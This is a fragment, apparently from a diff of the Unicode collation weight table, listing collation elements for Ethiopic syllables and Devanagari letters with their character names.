+1384  ; [.2506.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT BWA
+1385  ; [.2507.0020.0002] # ETHIOPIC SYLLABLE BWI
+1386  ; [.2508.0020.0002] # ETHIOPIC SYLLABLE BWEE
+1387  ; [.2509.0020.0002] # ETHIOPIC SYLLABLE BWE
+2D85  ; [.250A.0020.0002] # ETHIOPIC SYLLABLE BOA
+1268  ; [.250B.0020.0002] # ETHIOPIC SYLLABLE VA
+1269  ; [.250C.0020.0002] # ETHIOPIC SYLLABLE VU
+126A  ; [.250D.0020.0002] # ETHIOPIC SYLLABLE VI
+126B  ; [.250E.0020.0002] # ETHIOPIC SYLLABLE VAA
+126C  ; [.250F.0020.0002] # ETHIOPIC SYLLABLE VEE
+126D  ; [.2510.0020.0002] # ETHIOPIC SYLLABLE VE
+126E  ; [.2511.0020.0002] # ETHIOPIC SYLLABLE VO
+126F  ; [.2512.0020.0002] # ETHIOPIC SYLLABLE VWA
+1270  ; [.2513.0020.0002] # ETHIOPIC SYLLABLE TA
+1271  ; [.2514.0020.0002] # ETHIOPIC SYLLABLE TU
+1272  ; [.2515.0020.0002] # ETHIOPIC SYLLABLE TI
+1273  ; [.2516.0020.0002] # ETHIOPIC SYLLABLE TAA
+1274  ; [.2517.0020.0002] # ETHIOPIC SYLLABLE TEE
+1275  ; [.2518.0020.0002] # ETHIOPIC SYLLABLE TE
+1276  ; [.2519.0020.0002] # ETHIOPIC SYLLABLE TO
+1277  ; [.251A.0020.0002] # ETHIOPIC SYLLABLE TWA
+2D86  ; [.251B.0020.0002] # ETHIOPIC SYLLABLE TOA
+1278  ; [.251C.0020.0002] # ETHIOPIC SYLLABLE CA
+1279  ; [.251D.0020.0002] # ETHIOPIC SYLLABLE CU
+127A  ; [.251E.0020.0002] # ETHIOPIC SYLLABLE CI
+127B  ; [.251F.0020.0002] # ETHIOPIC SYLLABLE CAA
+127C  ; [.2520.0020.0002] # ETHIOPIC SYLLABLE CEE
+127D  ; [.2521.0020.0002] # ETHIOPIC SYLLABLE CE
+127E  ; [.2522.0020.0002] # ETHIOPIC SYLLABLE CO
+127F  ; [.2523.0020.0002] # ETHIOPIC SYLLABLE CWA
+2D87  ; [.2524.0020.0002] # ETHIOPIC SYLLABLE COA
+1280  ; [.2525.0020.0002] # ETHIOPIC SYLLABLE XA
+1281  ; [.2526.0020.0002] # ETHIOPIC SYLLABLE XU
+1282  ; [.2527.0020.0002] # ETHIOPIC SYLLABLE XI
+1283  ; [.2528.0020.0002] # ETHIOPIC SYLLABLE XAA
+1284  ; [.2529.0020.0002] # ETHIOPIC SYLLABLE XEE
+1285  ; [.252A.0020.0002] # ETHIOPIC SYLLABLE XE
+1286  ; [.252B.0020.0002] # ETHIOPIC SYLLABLE XO
+1287  ; [.252C.0020.0002] # ETHIOPIC SYLLABLE XOA
+1288  ; [.252D.0020.0002] # ETHIOPIC SYLLABLE XWA
+128A  ; [.252E.0020.0002] # ETHIOPIC SYLLABLE XWI
+128B  ; [.252F.0020.0002] # ETHIOPIC SYLLABLE XWAA
+128C  ; [.2530.0020.0002] # ETHIOPIC SYLLABLE XWEE
+128D  ; [.2531.0020.0002] # ETHIOPIC SYLLABLE XWE
+1290  ; [.2532.0020.0002] # ETHIOPIC SYLLABLE NA
+1291  ; [.2533.0020.0002] # ETHIOPIC SYLLABLE NU
+1292  ; [.2534.0020.0002] # ETHIOPIC SYLLABLE NI
+1293  ; [.2535.0020.0002] # ETHIOPIC SYLLABLE NAA
+1294  ; [.2536.0020.0002] # ETHIOPIC SYLLABLE NEE
+1295  ; [.2537.0020.0002] # ETHIOPIC SYLLABLE NE
+1296  ; [.2538.0020.0002] # ETHIOPIC SYLLABLE NO
+1297  ; [.2539.0020.0002] # ETHIOPIC SYLLABLE NWA
+2D88  ; [.253A.0020.0002] # ETHIOPIC SYLLABLE NOA
+1298  ; [.253B.0020.0002] # ETHIOPIC SYLLABLE NYA
+1299  ; [.253C.0020.0002] # ETHIOPIC SYLLABLE NYU
+129A  ; [.253D.0020.0002] # ETHIOPIC SYLLABLE NYI
+129B  ; [.253E.0020.0002] # ETHIOPIC SYLLABLE NYAA
+129C  ; [.253F.0020.0002] # ETHIOPIC SYLLABLE NYEE
+129D  ; [.2540.0020.0002] # ETHIOPIC SYLLABLE NYE
+129E  ; [.2541.0020.0002] # ETHIOPIC SYLLABLE NYO
+129F  ; [.2542.0020.0002] # ETHIOPIC SYLLABLE NYWA
+2D89  ; [.2543.0020.0002] # ETHIOPIC SYLLABLE NYOA
+12A0  ; [.2544.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL A
+12A1  ; [.2545.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL U
+12A2  ; [.2546.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL I
+12A3  ; [.2547.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL AA
+12A4  ; [.2548.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL EE
+12A5  ; [.2549.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL E
+12A6  ; [.254A.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL O
+12A7  ; [.254B.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL WA
+2D8A  ; [.254C.0020.0002] # ETHIOPIC SYLLABLE GLOTTAL OA
+12A8  ; [.254D.0020.0002] # ETHIOPIC SYLLABLE KA
+12A9  ; [.254E.0020.0002] # ETHIOPIC SYLLABLE KU
+12AA  ; [.254F.0020.0002] # ETHIOPIC SYLLABLE KI
+12AB  ; [.2550.0020.0002] # ETHIOPIC SYLLABLE KAA
+12AC  ; [.2551.0020.0002] # ETHIOPIC SYLLABLE KEE
+12AD  ; [.2552.0020.0002] # ETHIOPIC SYLLABLE KE
+12AE  ; [.2553.0020.0002] # ETHIOPIC SYLLABLE KO
+12AF  ; [.2554.0020.0002] # ETHIOPIC SYLLABLE KOA
+12B0  ; [.2555.0020.0002] # ETHIOPIC SYLLABLE KWA
+12B2  ; [.2556.0020.0002] # ETHIOPIC SYLLABLE KWI
+12B3  ; [.2557.0020.0002] # ETHIOPIC SYLLABLE KWAA
+12B4  ; [.2558.0020.0002] # ETHIOPIC SYLLABLE KWEE
+12B5  ; [.2559.0020.0002] # ETHIOPIC SYLLABLE KWE
+12B8  ; [.255A.0020.0002] # ETHIOPIC SYLLABLE KXA
+12B9  ; [.255B.0020.0002] # ETHIOPIC SYLLABLE KXU
+12BA  ; [.255C.0020.0002] # ETHIOPIC SYLLABLE KXI
+12BB  ; [.255D.0020.0002] # ETHIOPIC SYLLABLE KXAA
+12BC  ; [.255E.0020.0002] # ETHIOPIC SYLLABLE KXEE
+12BD  ; [.255F.0020.0002] # ETHIOPIC SYLLABLE KXE
+12BE  ; [.2560.0020.0002] # ETHIOPIC SYLLABLE KXO
+12C0  ; [.2561.0020.0002] # ETHIOPIC SYLLABLE KXWA
+12C2  ; [.2562.0020.0002] # ETHIOPIC SYLLABLE KXWI
+12C3  ; [.2563.0020.0002] # ETHIOPIC SYLLABLE KXWAA
+12C4  ; [.2564.0020.0002] # ETHIOPIC SYLLABLE KXWEE
+12C5  ; [.2565.0020.0002] # ETHIOPIC SYLLABLE KXWE
+12C8  ; [.2566.0020.0002] # ETHIOPIC SYLLABLE WA
+12C9  ; [.2567.0020.0002] # ETHIOPIC SYLLABLE WU
+12CA  ; [.2568.0020.0002] # ETHIOPIC SYLLABLE WI
+12CB  ; [.2569.0020.0002] # ETHIOPIC SYLLABLE WAA
+12CC  ; [.256A.0020.0002] # ETHIOPIC SYLLABLE WEE
+12CD  ; [.256B.0020.0002] # ETHIOPIC SYLLABLE WE
+12CE  ; [.256C.0020.0002] # ETHIOPIC SYLLABLE WO
+12CF  ; [.256D.0020.0002] # ETHIOPIC SYLLABLE WOA
+12D0  ; [.256E.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL A
+12D1  ; [.256F.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL U
+12D2  ; [.2570.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL I
+12D3  ; [.2571.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL AA
+12D4  ; [.2572.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL EE
+12D5  ; [.2573.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL E
+12D6  ; [.2574.0020.0002] # ETHIOPIC SYLLABLE PHARYNGEAL O
+12D8  ; [.2575.0020.0002] # ETHIOPIC SYLLABLE ZA
+12D9  ; [.2576.0020.0002] # ETHIOPIC SYLLABLE ZU
+12DA  ; [.2577.0020.0002] # ETHIOPIC SYLLABLE ZI
+12DB  ; [.2578.0020.0002] # ETHIOPIC SYLLABLE ZAA
+12DC  ; [.2579.0020.0002] # ETHIOPIC SYLLABLE ZEE
+12DD  ; [.257A.0020.0002] # ETHIOPIC SYLLABLE ZE
+12DE  ; [.257B.0020.0002] # ETHIOPIC SYLLABLE ZO
+12DF  ; [.257C.0020.0002] # ETHIOPIC SYLLABLE ZWA
+2D8B  ; [.257D.0020.0002] # ETHIOPIC SYLLABLE ZOA
+AB11  ; [.257E.0020.0002] # ETHIOPIC SYLLABLE DZU
+AB12  ; [.257F.0020.0002] # ETHIOPIC SYLLABLE DZI
+AB13  ; [.2580.0020.0002] # ETHIOPIC SYLLABLE DZAA
+AB14  ; [.2581.0020.0002] # ETHIOPIC SYLLABLE DZEE
+AB15  ; [.2582.0020.0002] # ETHIOPIC SYLLABLE DZE
+AB16  ; [.2583.0020.0002] # ETHIOPIC SYLLABLE DZO
+12E0  ; [.2584.0020.0002] # ETHIOPIC SYLLABLE ZHA
+12E1  ; [.2585.0020.0002] # ETHIOPIC SYLLABLE ZHU
+12E2  ; [.2586.0020.0002] # ETHIOPIC SYLLABLE ZHI
+12E3  ; [.2587.0020.0002] # ETHIOPIC SYLLABLE ZHAA
+12E4  ; [.2588.0020.0002] # ETHIOPIC SYLLABLE ZHEE
+12E5  ; [.2589.0020.0002] # ETHIOPIC SYLLABLE ZHE
+12E6  ; [.258A.0020.0002] # ETHIOPIC SYLLABLE ZHO
+12E7  ; [.258B.0020.0002] # ETHIOPIC SYLLABLE ZHWA
+12E8  ; [.258C.0020.0002] # ETHIOPIC SYLLABLE YA
+12E9  ; [.258D.0020.0002] # ETHIOPIC SYLLABLE YU
+12EA  ; [.258E.0020.0002] # ETHIOPIC SYLLABLE YI
+12EB  ; [.258F.0020.0002] # ETHIOPIC SYLLABLE YAA
+12EC  ; [.2590.0020.0002] # ETHIOPIC SYLLABLE YEE
+12ED  ; [.2591.0020.0002] # ETHIOPIC SYLLABLE YE
+12EE  ; [.2592.0020.0002] # ETHIOPIC SYLLABLE YO
+12EF  ; [.2593.0020.0002] # ETHIOPIC SYLLABLE YOA
+12F0  ; [.2594.0020.0002] # ETHIOPIC SYLLABLE DA
+12F1  ; [.2595.0020.0002] # ETHIOPIC SYLLABLE DU
+12F2  ; [.2596.0020.0002] # ETHIOPIC SYLLABLE DI
+12F3  ; [.2597.0020.0002] # ETHIOPIC SYLLABLE DAA
+12F4  ; [.2598.0020.0002] # ETHIOPIC SYLLABLE DEE
+12F5  ; [.2599.0020.0002] # ETHIOPIC SYLLABLE DE
+12F6  ; [.259A.0020.0002] # ETHIOPIC SYLLABLE DO
+12F7  ; [.259B.0020.0002] # ETHIOPIC SYLLABLE DWA
+2D8C  ; [.259C.0020.0002] # ETHIOPIC SYLLABLE DOA
+AB09  ; [.259D.0020.0002] # ETHIOPIC SYLLABLE DDHU
+AB0A  ; [.259E.0020.0002] # ETHIOPIC SYLLABLE DDHI
+AB0B  ; [.259F.0020.0002] # ETHIOPIC SYLLABLE DDHAA
+AB0C  ; [.25A0.0020.0002] # ETHIOPIC SYLLABLE DDHEE
+AB0D  ; [.25A1.0020.0002] # ETHIOPIC SYLLABLE DDHE
+AB0E  ; [.25A2.0020.0002] # ETHIOPIC SYLLABLE DDHO
+12F8  ; [.25A3.0020.0002] # ETHIOPIC SYLLABLE DDA
+12F9  ; [.25A4.0020.0002] # ETHIOPIC SYLLABLE DDU
+12FA  ; [.25A5.0020.0002] # ETHIOPIC SYLLABLE DDI
+12FB  ; [.25A6.0020.0002] # ETHIOPIC SYLLABLE DDAA
+12FC  ; [.25A7.0020.0002] # ETHIOPIC SYLLABLE DDEE
+12FD  ; [.25A8.0020.0002] # ETHIOPIC SYLLABLE DDE
+12FE  ; [.25A9.0020.0002] # ETHIOPIC SYLLABLE DDO
+12FF  ; [.25AA.0020.0002] # ETHIOPIC SYLLABLE DDWA
+2D8D  ; [.25AB.0020.0002] # ETHIOPIC SYLLABLE DDOA
+1300  ; [.25AC.0020.0002] # ETHIOPIC SYLLABLE JA
+1301  ; [.25AD.0020.0002] # ETHIOPIC SYLLABLE JU
+1302  ; [.25AE.0020.0002] # ETHIOPIC SYLLABLE JI
+1303  ; [.25AF.0020.0002] # ETHIOPIC SYLLABLE JAA
+1304  ; [.25B0.0020.0002] # ETHIOPIC SYLLABLE JEE
+1305  ; [.25B1.0020.0002] # ETHIOPIC SYLLABLE JE
+1306  ; [.25B2.0020.0002] # ETHIOPIC SYLLABLE JO
+1307  ; [.25B3.0020.0002] # ETHIOPIC SYLLABLE JWA
+2D8E  ; [.25B4.0020.0002] # ETHIOPIC SYLLABLE JOA
+1308  ; [.25B5.0020.0002] # ETHIOPIC SYLLABLE GA
+1309  ; [.25B6.0020.0002] # ETHIOPIC SYLLABLE GU
+130A  ; [.25B7.0020.0002] # ETHIOPIC SYLLABLE GI
+130B  ; [.25B8.0020.0002] # ETHIOPIC SYLLABLE GAA
+130C  ; [.25B9.0020.0002] # ETHIOPIC SYLLABLE GEE
+130D  ; [.25BA.0020.0002] # ETHIOPIC SYLLABLE GE
+130E  ; [.25BB.0020.0002] # ETHIOPIC SYLLABLE GO
+130F  ; [.25BC.0020.0002] # ETHIOPIC SYLLABLE GOA
+1310  ; [.25BD.0020.0002] # ETHIOPIC SYLLABLE GWA
+1312  ; [.25BE.0020.0002] # ETHIOPIC SYLLABLE GWI
+1313  ; [.25BF.0020.0002] # ETHIOPIC SYLLABLE GWAA
+1314  ; [.25C0.0020.0002] # ETHIOPIC SYLLABLE GWEE
+1315  ; [.25C1.0020.0002] # ETHIOPIC SYLLABLE GWE
+1318  ; [.25C2.0020.0002] # ETHIOPIC SYLLABLE GGA
+1319  ; [.25C3.0020.0002] # ETHIOPIC SYLLABLE GGU
+131A  ; [.25C4.0020.0002] # ETHIOPIC SYLLABLE GGI
+131B  ; [.25C5.0020.0002] # ETHIOPIC SYLLABLE GGAA
+131C  ; [.25C6.0020.0002] # ETHIOPIC SYLLABLE GGEE
+131D  ; [.25C7.0020.0002] # ETHIOPIC SYLLABLE GGE
+131E  ; [.25C8.0020.0002] # ETHIOPIC SYLLABLE GGO
+131F  ; [.25C9.0020.0002] # ETHIOPIC SYLLABLE GGWAA
+2D93  ; [.25CA.0020.0002] # ETHIOPIC SYLLABLE GGWA
+2D94  ; [.25CB.0020.0002] # ETHIOPIC SYLLABLE GGWI
+2D95  ; [.25CC.0020.0002] # ETHIOPIC SYLLABLE GGWEE
+2D96  ; [.25CD.0020.0002] # ETHIOPIC SYLLABLE GGWE
+1320  ; [.25CE.0020.0002] # ETHIOPIC SYLLABLE THA
+1321  ; [.25CF.0020.0002] # ETHIOPIC SYLLABLE THU
+1322  ; [.25D0.0020.0002] # ETHIOPIC SYLLABLE THI
+1323  ; [.25D1.0020.0002] # ETHIOPIC SYLLABLE THAA
+1324  ; [.25D2.0020.0002] # ETHIOPIC SYLLABLE THEE
+1325  ; [.25D3.0020.0002] # ETHIOPIC SYLLABLE THE
+1326  ; [.25D4.0020.0002] # ETHIOPIC SYLLABLE THO
+1327  ; [.25D5.0020.0002] # ETHIOPIC SYLLABLE THWA
+2D8F  ; [.25D6.0020.0002] # ETHIOPIC SYLLABLE THOA
+1328  ; [.25D7.0020.0002] # ETHIOPIC SYLLABLE CHA
+1329  ; [.25D8.0020.0002] # ETHIOPIC SYLLABLE CHU
+132A  ; [.25D9.0020.0002] # ETHIOPIC SYLLABLE CHI
+132B  ; [.25DA.0020.0002] # ETHIOPIC SYLLABLE CHAA
+132C  ; [.25DB.0020.0002] # ETHIOPIC SYLLABLE CHEE
+132D  ; [.25DC.0020.0002] # ETHIOPIC SYLLABLE CHE
+132E  ; [.25DD.0020.0002] # ETHIOPIC SYLLABLE CHO
+132F  ; [.25DE.0020.0002] # ETHIOPIC SYLLABLE CHWA
+2D90  ; [.25DF.0020.0002] # ETHIOPIC SYLLABLE CHOA
+AB20  ; [.25E0.0020.0002] # ETHIOPIC SYLLABLE CCHHA
+AB21  ; [.25E1.0020.0002] # ETHIOPIC SYLLABLE CCHHU
+AB22  ; [.25E2.0020.0002] # ETHIOPIC SYLLABLE CCHHI
+AB23  ; [.25E3.0020.0002] # ETHIOPIC SYLLABLE CCHHAA
+AB24  ; [.25E4.0020.0002] # ETHIOPIC SYLLABLE CCHHEE
+AB25  ; [.25E5.0020.0002] # ETHIOPIC SYLLABLE CCHHE
+AB26  ; [.25E6.0020.0002] # ETHIOPIC SYLLABLE CCHHO
+1330  ; [.25E7.0020.0002] # ETHIOPIC SYLLABLE PHA
+1331  ; [.25E8.0020.0002] # ETHIOPIC SYLLABLE PHU
+1332  ; [.25E9.0020.0002] # ETHIOPIC SYLLABLE PHI
+1333  ; [.25EA.0020.0002] # ETHIOPIC SYLLABLE PHAA
+1334  ; [.25EB.0020.0002] # ETHIOPIC SYLLABLE PHEE
+1335  ; [.25EC.0020.0002] # ETHIOPIC SYLLABLE PHE
+1336  ; [.25ED.0020.0002] # ETHIOPIC SYLLABLE PHO
+1337  ; [.25EE.0020.0002] # ETHIOPIC SYLLABLE PHWA
+2D91  ; [.25EF.0020.0002] # ETHIOPIC SYLLABLE PHOA
+1338  ; [.25F0.0020.0002] # ETHIOPIC SYLLABLE TSA
+1339  ; [.25F1.0020.0002] # ETHIOPIC SYLLABLE TSU
+133A  ; [.25F2.0020.0002] # ETHIOPIC SYLLABLE TSI
+133B  ; [.25F3.0020.0002] # ETHIOPIC SYLLABLE TSAA
+133C  ; [.25F4.0020.0002] # ETHIOPIC SYLLABLE TSEE
+133D  ; [.25F5.0020.0002] # ETHIOPIC SYLLABLE TSE
+133E  ; [.25F6.0020.0002] # ETHIOPIC SYLLABLE TSO
+133F  ; [.25F7.0020.0002] # ETHIOPIC SYLLABLE TSWA
+AB28  ; [.25F8.0020.0002] # ETHIOPIC SYLLABLE BBA
+AB29  ; [.25F9.0020.0002] # ETHIOPIC SYLLABLE BBU
+AB2A  ; [.25FA.0020.0002] # ETHIOPIC SYLLABLE BBI
+AB2B  ; [.25FB.0020.0002] # ETHIOPIC SYLLABLE BBAA
+AB2C  ; [.25FC.0020.0002] # ETHIOPIC SYLLABLE BBEE
+AB2D  ; [.25FD.0020.0002] # ETHIOPIC SYLLABLE BBE
+AB2E  ; [.25FE.0020.0002] # ETHIOPIC SYLLABLE BBO
+1340  ; [.25FF.0020.0002] # ETHIOPIC SYLLABLE TZA
+1341  ; [.2600.0020.0002] # ETHIOPIC SYLLABLE TZU
+1342  ; [.2601.0020.0002] # ETHIOPIC SYLLABLE TZI
+1343  ; [.2602.0020.0002] # ETHIOPIC SYLLABLE TZAA
+1344  ; [.2603.0020.0002] # ETHIOPIC SYLLABLE TZEE
+1345  ; [.2604.0020.0002] # ETHIOPIC SYLLABLE TZE
+1346  ; [.2605.0020.0002] # ETHIOPIC SYLLABLE TZO
+1347  ; [.2606.0020.0002] # ETHIOPIC SYLLABLE TZOA
+1348  ; [.2607.0020.0002] # ETHIOPIC SYLLABLE FA
+1349  ; [.2608.0020.0002] # ETHIOPIC SYLLABLE FU
+134A  ; [.2609.0020.0002] # ETHIOPIC SYLLABLE FI
+134B  ; [.260A.0020.0002] # ETHIOPIC SYLLABLE FAA
+134C  ; [.260B.0020.0002] # ETHIOPIC SYLLABLE FEE
+134D  ; [.260C.0020.0002] # ETHIOPIC SYLLABLE FE
+134E  ; [.260D.0020.0002] # ETHIOPIC SYLLABLE FO
+134F  ; [.260E.0020.0002] # ETHIOPIC SYLLABLE FWA
+1388  ; [.260F.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT FWA
+1389  ; [.2610.0020.0002] # ETHIOPIC SYLLABLE FWI
+138A  ; [.2611.0020.0002] # ETHIOPIC SYLLABLE FWEE
+138B  ; [.2612.0020.0002] # ETHIOPIC SYLLABLE FWE
+1350  ; [.2613.0020.0002] # ETHIOPIC SYLLABLE PA
+1351  ; [.2614.0020.0002] # ETHIOPIC SYLLABLE PU
+1352  ; [.2615.0020.0002] # ETHIOPIC SYLLABLE PI
+1353  ; [.2616.0020.0002] # ETHIOPIC SYLLABLE PAA
+1354  ; [.2617.0020.0002] # ETHIOPIC SYLLABLE PEE
+1355  ; [.2618.0020.0002] # ETHIOPIC SYLLABLE PE
+1356  ; [.2619.0020.0002] # ETHIOPIC SYLLABLE PO
+1357  ; [.261A.0020.0002] # ETHIOPIC SYLLABLE PWA
+138C  ; [.261B.0020.0002] # ETHIOPIC SYLLABLE SEBATBEIT PWA
+138D  ; [.261C.0020.0002] # ETHIOPIC SYLLABLE PWI
+138E  ; [.261D.0020.0002] # ETHIOPIC SYLLABLE PWEE
+138F  ; [.261E.0020.0002] # ETHIOPIC SYLLABLE PWE
+2D92  ; [.261F.0020.0002] # ETHIOPIC SYLLABLE POA
+1358  ; [.2620.0020.0002] # ETHIOPIC SYLLABLE RYA
+1359  ; [.2621.0020.0002] # ETHIOPIC SYLLABLE MYA
+135A  ; [.2622.0020.0002] # ETHIOPIC SYLLABLE FYA
+2DA0  ; [.2623.0020.0002] # ETHIOPIC SYLLABLE SSA
+2DA1  ; [.2624.0020.0002] # ETHIOPIC SYLLABLE SSU
+2DA2  ; [.2625.0020.0002] # ETHIOPIC SYLLABLE SSI
+2DA3  ; [.2626.0020.0002] # ETHIOPIC SYLLABLE SSAA
+2DA4  ; [.2627.0020.0002] # ETHIOPIC SYLLABLE SSEE
+2DA5  ; [.2628.0020.0002] # ETHIOPIC SYLLABLE SSE
+2DA6  ; [.2629.0020.0002] # ETHIOPIC SYLLABLE SSO
+2DA8  ; [.262A.0020.0002] # ETHIOPIC SYLLABLE CCA
+2DA9  ; [.262B.0020.0002] # ETHIOPIC SYLLABLE CCU
+2DAA  ; [.262C.0020.0002] # ETHIOPIC SYLLABLE CCI
+2DAB  ; [.262D.0020.0002] # ETHIOPIC SYLLABLE CCAA
+2DAC  ; [.262E.0020.0002] # ETHIOPIC SYLLABLE CCEE
+2DAD  ; [.262F.0020.0002] # ETHIOPIC SYLLABLE CCE
+2DAE  ; [.2630.0020.0002] # ETHIOPIC SYLLABLE CCO
+2DB0  ; [.2631.0020.0002] # ETHIOPIC SYLLABLE ZZA
+2DB1  ; [.2632.0020.0002] # ETHIOPIC SYLLABLE ZZU
+2DB2  ; [.2633.0020.0002] # ETHIOPIC SYLLABLE ZZI
+2DB3  ; [.2634.0020.0002] # ETHIOPIC SYLLABLE ZZAA
+2DB4  ; [.2635.0020.0002] # ETHIOPIC SYLLABLE ZZEE
+2DB5  ; [.2636.0020.0002] # ETHIOPIC SYLLABLE ZZE
+2DB6  ; [.2637.0020.0002] # ETHIOPIC SYLLABLE ZZO
+2DB8  ; [.2638.0020.0002] # ETHIOPIC SYLLABLE CCHA
+2DB9  ; [.2639.0020.0002] # ETHIOPIC SYLLABLE CCHU
+2DBA  ; [.263A.0020.0002] # ETHIOPIC SYLLABLE CCHI
+2DBB  ; [.263B.0020.0002] # ETHIOPIC SYLLABLE CCHAA
+2DBC  ; [.263C.0020.0002] # ETHIOPIC SYLLABLE CCHEE
+2DBD  ; [.263D.0020.0002] # ETHIOPIC SYLLABLE CCHE
+2DBE  ; [.263E.0020.0002] # ETHIOPIC SYLLABLE CCHO
+2DC0  ; [.263F.0020.0002] # ETHIOPIC SYLLABLE QYA
+2DC1  ; [.2640.0020.0002] # ETHIOPIC SYLLABLE QYU
+2DC2  ; [.2641.0020.0002] # ETHIOPIC SYLLABLE QYI
+2DC3  ; [.2642.0020.0002] # ETHIOPIC SYLLABLE QYAA
+2DC4  ; [.2643.0020.0002] # ETHIOPIC SYLLABLE QYEE
+2DC5  ; [.2644.0020.0002] # ETHIOPIC SYLLABLE QYE
+2DC6  ; [.2645.0020.0002] # ETHIOPIC SYLLABLE QYO
+2DC8  ; [.2646.0020.0002] # ETHIOPIC SYLLABLE KYA
+2DC9  ; [.2647.0020.0002] # ETHIOPIC SYLLABLE KYU
+2DCA  ; [.2648.0020.0002] # ETHIOPIC SYLLABLE KYI
+2DCB  ; [.2649.0020.0002] # ETHIOPIC SYLLABLE KYAA
+2DCC  ; [.264A.0020.0002] # ETHIOPIC SYLLABLE KYEE
+2DCD  ; [.264B.0020.0002] # ETHIOPIC SYLLABLE KYE
+2DCE  ; [.264C.0020.0002] # ETHIOPIC SYLLABLE KYO
+2DD0  ; [.264D.0020.0002] # ETHIOPIC SYLLABLE XYA
+2DD1  ; [.264E.0020.0002] # ETHIOPIC SYLLABLE XYU
+2DD2  ; [.264F.0020.0002] # ETHIOPIC SYLLABLE XYI
+2DD3  ; [.2650.0020.0002] # ETHIOPIC SYLLABLE XYAA
+2DD4  ; [.2651.0020.0002] # ETHIOPIC SYLLABLE XYEE
+2DD5  ; [.2652.0020.0002] # ETHIOPIC SYLLABLE XYE
+2DD6  ; [.2653.0020.0002] # ETHIOPIC SYLLABLE XYO
+2DD8  ; [.2654.0020.0002] # ETHIOPIC SYLLABLE GYA
+2DD9  ; [.2655.0020.0002] # ETHIOPIC SYLLABLE GYU
+2DDA  ; [.2656.0020.0002] # ETHIOPIC SYLLABLE GYI
+2DDB  ; [.2657.0020.0002] # ETHIOPIC SYLLABLE GYAA
+2DDC  ; [.2658.0020.0002] # ETHIOPIC SYLLABLE GYEE
+2DDD  ; [.2659.0020.0002] # ETHIOPIC SYLLABLE GYE
+2DDE  ; [.265A.0020.0002] # ETHIOPIC SYLLABLE GYO
+0950  ; [.265B.0020.0002] # DEVANAGARI OM
+A8FD  ; [.265C.0020.0002] # DEVANAGARI JAIN OM
+0972  ; [.265D.0020.0002] # DEVANAGARI LETTER CANDRA A
+0904  ; [.265E.0020.0002] # DEVANAGARI LETTER SHORT A
+0905  ; [.265F.0020.0002] # DEVANAGARI LETTER A
+0906  ; [.2660.0020.0002] # DEVANAGARI LETTER AA
+0973  ; [.2661.0020.0002] # DEVANAGARI LETTER OE
+0974  ; [.2662.0020.0002] # DEVANAGARI LETTER OOE
+0975  ; [.2663.0020.0002] # DEVANAGARI LETTER AW
+0976  ; [.2664.0020.0002] # DEVANAGARI LETTER UE
+0977  ; [.2665.0020.0002] # DEVANAGARI LETTER UUE
+0907  ; [.2666.0020.0002] # DEVANAGARI LETTER I
+0908  ; [.2667.0020.0002] # DEVANAGARI LETTER II
+0909  ; [.2668.0020.0002] # DEVANAGARI LETTER U
+090A  ; [.2669.0020.0002] # DEVANAGARI LETTER UU
+090B  ; [.266A.0020.0002] # DEVANAGARI LETTER VOCALIC R
+0960  ; [.266B.0020.0002] # DEVANAGARI LETTER VOCALIC RR
+090C  ; [.266C.0020.0002] # DEVANAGARI LETTER VOCALIC L
+0961  ; [.266D.0020.0002] # DEVANAGARI LETTER VOCALIC LL
+090D  ; [.266E.0020.0002] # DEVANAGARI LETTER CANDRA E
+090E  ; [.266F.0020.0002] # DEVANAGARI LETTER SHORT E
+090F  ; [.2670.0020.0002] # DEVANAGARI LETTER E
+0910  ; [.2671.0020.0002] # DEVANAGARI LETTER AI
+0911  ; [.2672.0020.0002] # DEVANAGARI LETTER CANDRA O
+0912  ; [.2673.0020.0002] # DEVANAGARI LETTER SHORT O
+0913  ; [.2674.0020.0002] # DEVANAGARI LETTER O
+0914  ; [.2675.0020.0002] # DEVANAGARI LETTER AU
+0915  ; [.2676.0020.0002] # DEVANAGARI LETTER KA
+0958  ; [.2676.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER QA
+0916  ; [.2677.0020.0002] # DEVANAGARI LETTER KHA
+0959  ; [.2677.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER KHHA
+0917  ; [.2678.0020.0002] # DEVANAGARI LETTER GA
+095A  ; [.2678.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER GHHA
+097B  ; [.2679.0020.0002] # DEVANAGARI LETTER GGA
+0918  ; [.267A.0020.0002] # DEVANAGARI LETTER GHA
+0919  ; [.267B.0020.0002] # DEVANAGARI LETTER NGA
+091A  ; [.267C.0020.0002] # DEVANAGARI LETTER CA
+091B  ; [.267D.0020.0002] # DEVANAGARI LETTER CHA
+091C  ; [.267E.0020.0002] # DEVANAGARI LETTER JA
+095B  ; [.267E.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER ZA
+0979  ; [.267F.0020.0002] # DEVANAGARI LETTER ZHA
+097C  ; [.2680.0020.0002] # DEVANAGARI LETTER JJA
+091D  ; [.2681.0020.0002] # DEVANAGARI LETTER JHA
+091E  ; [.2682.0020.0002] # DEVANAGARI LETTER NYA
+091F  ; [.2683.0020.0002] # DEVANAGARI LETTER TTA
+0920  ; [.2684.0020.0002] # DEVANAGARI LETTER TTHA
+0978  ; [.2685.0020.0002] # DEVANAGARI LETTER MARWARI DDA
+0921  ; [.2686.0020.0002] # DEVANAGARI LETTER DDA
+095C  ; [.2686.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER DDDHA
+097E  ; [.2687.0020.0002] # DEVANAGARI LETTER DDDA
+0922  ; [.2688.0020.0002] # DEVANAGARI LETTER DDHA
+095D  ; [.2688.0020.0002][.0000.00C2.0002] # DEVANAGARI LETTER RHA
